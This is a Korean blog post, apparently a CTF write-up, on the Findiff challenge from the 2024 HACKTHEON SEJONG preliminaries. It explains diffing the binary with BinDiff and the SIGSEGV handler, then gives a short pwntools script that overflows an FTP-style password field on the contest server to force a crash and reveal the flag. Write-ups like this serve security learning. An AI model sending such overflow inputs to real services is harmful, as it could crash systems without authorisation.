2024. 5. 16. 02:21ㆍCTF
목차
01) PWN) Findiff
02) PWN) Account
2024.04.27
약 9시간동안 진행된 CTF
대학생 대회로, Advanced 부문으로 참가하였다.
작년에는 휴학생 신분이라 대회에 참가하지 못했었는데 문제 재사용 등으로 꽤 논란이 있었다고 전해들었다.
일단은 펀문제만 봤지만 펀문제 수준은 좋은 편이었다.
PWN은 총 세문제 출제되었는데 나머지 한 문제인 Intelitigation의 경우 팀원이 잡은 문제이므로 위의 두 문제만 정리한다.
PWN) Findiff (729 pts) - 32 solves
쉬운 문제임에도 금방 풀지 못했던 문제였다.
간단하게 세그폴트만 발생시키면 되는 문제였는데 diff문제라는 함정에 빠져 뭔가 더 있나라는 생각에 삽질을 더 오래해서 시간을 뺏겼다.
diffing은 바이너리 하나인 경우 일반적으로는 bindiff를 설치해서 IDA나 Binary Ninja로 보는게 가장 편했던 것 같다. 파일내에서 코드 여러개를 봐야하는 경우 리눅스 diff명령어를 사용하지만 이 문제의 경우 바이너리 하나만 보면 됐기 때문에 BinDiff를 사용했다.
bindiff는 아래 링크의 Releases에서 BinDiff 8 Open Source 파일 다운로드를 통해 어플리케이션을 다운로드할 수 있다.
Mac OS는 dmg파일, 윈도우는 msi파일을 다운로드하면 간편하게 설치할 수 있다.
https://github.com/google/bindiff
확인 결과 눈에 띄는 차이점은 getFlag함수와 signal함수뿐이었다.
signal함수의 첫번째 인자 signo(signum)은 간단하게는 리눅스의 kill -l 명령어로, 정확하게는 glibc의 signum-generic.h과 signum-arch.h에서 확인할 수 있다.
11은 가장 많이 사용되는 번호라 보통 외워두는 것 같다. 그래도 한번 확실하게 확인해보고자 glibc 코드단에서 찾아봤다.
11에 해당하는 SIGSEGV는 Invalid access to storage. 즉 프로세스가 잘못된 메모리공간에 접근했을 때 발생한다.
시스템해킹에서는 보통 주소를 참조하는 메모리에 엉뚱한 값을 덮으면 발생하는 Signal Segmentation Violation, 세그폴트로도 잘 알려져있다.
따라서 문제해결이 크게 어렵지는 않았다.
password입력 때 오버플로우로 세그폴트가 발생하도록했다.
#!/usr/bin/python3
# MIsutgaRU
from pwn import *
s = remote("hto2024-nlb-fa01ec5dc40a5322.elb.ap-northeast-2.amazonaws.com", 5000)
try:
s.sendline(b"USER ftp\r\n")
s.send(b"PASS " + b"B"*0xff0000)
except:
s.interactive()
s.interactive()
d1ff1ng_1s_b4s1c_0f_b4s1c
(캡쳐해둔 이미지와 플래그는 실수로 삭제하여 생략)
Account문제의 라이트업이 쓰다보니 너무 길어져 글 두개로 분리하였다.
'CTF' 카테고리의 다른 글
2024 DEF CON CTF Qualifier) Write-up (libprce3) (0) | 2024.05.17 |
---|---|
2024 HACKTHEON SEJONG Preliminaries) Write-up #2 (0) | 2024.05.16 |
2024 HackPack CTF - LLM edition #4 (0) | 2024.04.19 |
2024 HackPack CTF - LLM edition #3 (0) | 2024.04.19 |
2024 HackPack CTF - LLM edition #2 (0) | 2024.04.19 |